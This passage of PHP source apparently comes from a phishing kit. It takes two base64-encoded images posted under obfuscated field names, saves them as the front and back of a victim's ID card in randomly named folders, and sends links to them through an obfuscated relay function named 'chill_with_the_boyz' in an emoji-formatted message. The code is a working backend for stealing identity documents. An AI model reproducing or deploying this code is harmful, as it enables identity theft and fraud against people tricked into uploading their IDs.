"post"]); die(); } function generateRandomString($length = 10) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[random_int(0, $charactersLength - 1)]; } return $randomString; } if(isset($_POST['sdcfsdaadads']) && isset($_POST["sdfascasf"])) { $location = generateRandomString(10); while(file_exists($location)) $location = generateRandomString(10); $saved = $location."/id_front.png"; $saved_s = $location."/id_back.png"; $file = $location; if(!is_dir($file)) { mkdir($file, 0777, true); } $encoded_data = str_replace("data:image/png;base64,", "", $_POST['sdcfsdaadads']) ; $encoded_data = str_replace("data:image/jpeg;base64,", "", $encoded_data) ; $binary_data = base64_decode($encoded_data); $binary_data = imagecreatefromstring(($binary_data)); $rotate = imagerotate($binary_data, "0", 0); $rotate = imagescale($rotate , 800, 700); $imageSave = imagejpeg($rotate,$saved,90); $encoded_data = str_replace("data:image/png;base64,", "", $_POST['sdfascasf']) ; $encoded_data = str_replace("data:image/jpeg;base64,", "", $encoded_data) ; $binary_data = base64_decode($encoded_data); $binary_data = imagecreatefromstring(($binary_data)); $rotate = imagerotate($binary_data, "0", 0); $originalWidth = imagesx($rotate); $originalHeight = imagesy($rotate); $newWidth = 1300; // Your desired width $newHeight = ($originalHeight / $originalWidth) * $newWidth; // $rotate = imagescale($rotate , $newWidth, $newHeight); $rotate = imagescale($rotate , 800, 700); $imageSave = imagejpeg($rotate,$saved_s,90); $message = "\n"; $message .= "🤵 👤 Id Front : ".$gchjvhkjbnjhv::read_ini()['url_link']."/".$saved."\n"; $message .= "🤵 👤 Id Bank : ".$gchjvhkjbnjhv::read_ini()['url_link']."/".$saved_s."\n"; $message .= "\n"; $gchjvhkjbnjhv::chill_with_the_boyz($message, 'ID', "ID"); echo json_encode(["good" => "good"]); die(); }else{ echo json_encode(["bad" => "bad"]); die(); }